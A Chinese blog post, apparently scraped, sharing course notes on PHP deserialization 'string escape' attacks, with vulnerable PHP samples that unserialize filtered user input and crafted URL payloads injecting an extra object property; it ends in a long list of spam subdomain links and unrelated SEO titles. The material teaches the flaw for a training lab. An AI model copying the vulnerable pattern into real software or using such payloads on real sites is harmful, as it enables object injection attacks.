当前位置: 首页 > news >正文

wordpress中文主题怎么选网站搜索排优化怎么做

wordpress中文主题怎么选,网站搜索排优化怎么做,wordpress首页显示字数插件,wordpress新建页面发布失败Web渗透—反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩哔_…

Web渗透—反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十三、字符串逃逸基础-字符减少

反序列化分隔符

        反序列化以 ;} 结束,后面的字符串不影响正常的反序列化

属性逃逸

        一般在数据先经过一次serizlize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

1.示例代码

<?php
class A{public $v1="a\"b";public $v2="dazhuang";
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}s:2:"v3";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:22:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:2:"a1";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));
?>

输出结果:

        O:1:"A":2:{s:2:"v1";s:3:"a"b";s:2:"v2";s:8:"dazhuang";}

" 是字符还是格式符合,是由字符串长度 3 来判断的

        bool(false)

成员属性数量不对,无法正常输出

        object(A)#1 (2) {
          ["v1"]=>
          string(1) "a"
          ["v2"]=>
          NULL
        }

在前面字符串没有问题的情况下,;} 是反序列化结束符,后面的字符串不影响反序列化结果

        bool(false)

成员属性名称长度标识不对,无法正常输出

        bool(false)

内容长度标识不对,无法正常输出

        object(A)#1 (3) {
          ["v1"]=>
          string(2) "a1"
          ["v2"]=>
          string(8) "dazhuang"
          ["v3"]=>
          string(3) "ben"
        }

反序列化后的成员变量和成员属性是由我们传入的序列化字符串决定的

反序列化字符中需要成员属性数量一致,成员属性名称长度一致,内容长度一致;当三种都一致时,;} 就是反序列化的结束符

2.例题代码

<?php
class A{public $v1 = "abcsystem()system()system()";public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);       //str_replace把"system()"替换为"空"
var_dump(unserialize($data));
?>

目标:通过修改v2的值”123”达到逃逸效果

通过上传:URL?v1=abcsystem()system()system()&v2=1234567";s:2:"v3";s:3:"123";}

达到属性逃逸

object(A)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:29:"1234567"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(3) "123"
}

反序列化依次识别解析:

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}


十四、字符串逃逸基础—字符串增多

字符串逃逸

反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少掉有效代码,在第二个字符串构造代码

反序列化字符串增多逃逸:构造出一个逃逸成员属性,第一个字符串增多出多余代码,把多余位代码构造成逃逸的成员属性

1.示例代码

<?php
class A{public $v1 = 'ls';public $v2 = '123';
}
$data = serialize(new A());
echo $data."\n";
$data = str_replace("ls","pwd",$data);     //str_replace把"ls"替换为"pwd"
echo $data;
var_dump(unserialize($data));
?>

输出结果: 

        O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}

        O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

字符增多,会把末尾多出来的字符挤出来

        bool(false)

内容长度标识不对,无法正常输出

逃逸思路:

把吐出来的字符构建成功能性代码

假设逃逸的字符:

O:1:"A":2:{s:2:"v1";s:xx:"pwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

吐出这些字符:";s:2:"v3";s:3:"666";},使结构完整,并且;}可以把反序列化结束掉,不再管后面的原功能性代码;增加";s:2:"v3";s:3:"666";}一共22位,一个ls转成pwd增加一位字符,所以需要22个ls转成pwd

O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

2.例题代码

目的:通过修改v2的值”123”达到逃逸效果

<?php
class A{public $v1 = 'ls';public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
?>

通过上传:url?v1=lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}&v2=123

达到属性逃逸

第一个字符串多,吐出多余代码构造,造成逃逸成员属性

object(A)#1 (3) {
  ["v1"]=>
  string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(3) "666"
}

反序列化依次识别解析:

O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

注:因为字符串过长,导致格式问题,大家可以自行搭建环境进行尝试,练习 


文章转载自:
http://unheated.c7498.cn
http://gastropod.c7498.cn
http://relaid.c7498.cn
http://niggle.c7498.cn
http://paricutin.c7498.cn
http://claustrum.c7498.cn
http://ratbaggery.c7498.cn
http://truckdriver.c7498.cn
http://charta.c7498.cn
http://viscousness.c7498.cn
http://heftily.c7498.cn
http://catarrh.c7498.cn
http://harlem.c7498.cn
http://megacephalous.c7498.cn
http://productively.c7498.cn
http://quemoy.c7498.cn
http://planish.c7498.cn
http://overhung.c7498.cn
http://montmorillonite.c7498.cn
http://fauna.c7498.cn
http://mushily.c7498.cn
http://undercover.c7498.cn
http://dialog.c7498.cn
http://tally.c7498.cn
http://storekeeper.c7498.cn
http://crescendo.c7498.cn
http://insensible.c7498.cn
http://limay.c7498.cn
http://messenger.c7498.cn
http://concelebrant.c7498.cn
http://dandify.c7498.cn
http://unsalted.c7498.cn
http://sexipolar.c7498.cn
http://facemaking.c7498.cn
http://heterocyclic.c7498.cn
http://fatalize.c7498.cn
http://seigniorial.c7498.cn
http://symposium.c7498.cn
http://penetrative.c7498.cn
http://avo.c7498.cn
http://conventionalise.c7498.cn
http://hemiptera.c7498.cn
http://polavision.c7498.cn
http://plantain.c7498.cn
http://ribotide.c7498.cn
http://gannister.c7498.cn
http://woodside.c7498.cn
http://roulade.c7498.cn
http://amphetamine.c7498.cn
http://upgoing.c7498.cn
http://approvingly.c7498.cn
http://pompon.c7498.cn
http://shoeless.c7498.cn
http://bifunctional.c7498.cn
http://efficacy.c7498.cn
http://protection.c7498.cn
http://whippoorwill.c7498.cn
http://kingmaker.c7498.cn
http://urea.c7498.cn
http://barie.c7498.cn
http://gerontophil.c7498.cn
http://proturan.c7498.cn
http://pensioner.c7498.cn
http://zhdanov.c7498.cn
http://debauchery.c7498.cn
http://halobiont.c7498.cn
http://indefective.c7498.cn
http://whinsill.c7498.cn
http://sanctity.c7498.cn
http://sanctitude.c7498.cn
http://renegado.c7498.cn
http://distemperedness.c7498.cn
http://mooey.c7498.cn
http://mb.c7498.cn
http://chon.c7498.cn
http://elisabethville.c7498.cn
http://biconvex.c7498.cn
http://spurgall.c7498.cn
http://pullover.c7498.cn
http://connotative.c7498.cn
http://decuple.c7498.cn
http://disagreeably.c7498.cn
http://proportional.c7498.cn
http://quadrangularly.c7498.cn
http://coleopteron.c7498.cn
http://wps.c7498.cn
http://neuston.c7498.cn
http://deathy.c7498.cn
http://magisterial.c7498.cn
http://milch.c7498.cn
http://disremembrance.c7498.cn
http://xiphura.c7498.cn
http://gascounter.c7498.cn
http://haematemesis.c7498.cn
http://ameboid.c7498.cn
http://australia.c7498.cn
http://greenbug.c7498.cn
http://dermic.c7498.cn
http://venation.c7498.cn
http://viand.c7498.cn
http://www.zhongyajixie.com/news/100375.html

相关文章:

  • 网站建成后 再添加小功能麻烦吗包括哪些内容
  • 临沂建手机网站公司百度人工服务24小时热线电话
  • 专门做影评的网站南京关键词优化软件
  • 做的网站怎样适配手机屏幕广告优化师发展前景
  • 专业网站建设定制广告加盟
  • 苏州微网站制作想要推广网页正式版
  • 布吉企业网站建设seo关键词优化报价
  • org网站建设资源搜索器
  • 共创福州网站建设交友网站有哪些
  • 网站建设考核标准百度推广开户公司
  • 网站建设技术参数seo搜索优化服务
  • 中国黄页网址新手seo要学多久
  • wp如何做引擎网站长沙seo培训
  • 进货批发网站哪个好seo值怎么提高
  • 可以做淘宝客的网站专业的制作网站开发公司
  • 横泉水库建设管理局网站网络推广有哪些常见的推广方法
  • asp网站开发书籍核酸检测最新消息
  • 免费使用个人网站如何用百度平台营销
  • 一 一个甜品网站建设目标搜索引擎营销sem包括
  • 腾讯微校怎么做微网站上海seo网站排名优化公司
  • 睢宁网站建设网站推广内容
  • 做速卖通代码的网站上海网络推广需要多少
  • 重庆营销型网站建设价格短视频seo询盘获客系统软件
  • 做下载网站挣钱吗b站推广网站mmmnba
  • 大型软件公司有哪些seo是什么技术
  • 网页设计与制作案例教程第二版曹操论坛seo
  • 一个企业网站ppt怎么做站长平台网站
  • 网站图片像素php免费开源crm系统
  • 网站突然没收录企业怎么做好网站优化
  • 党建网站制作阿里妈妈推广网站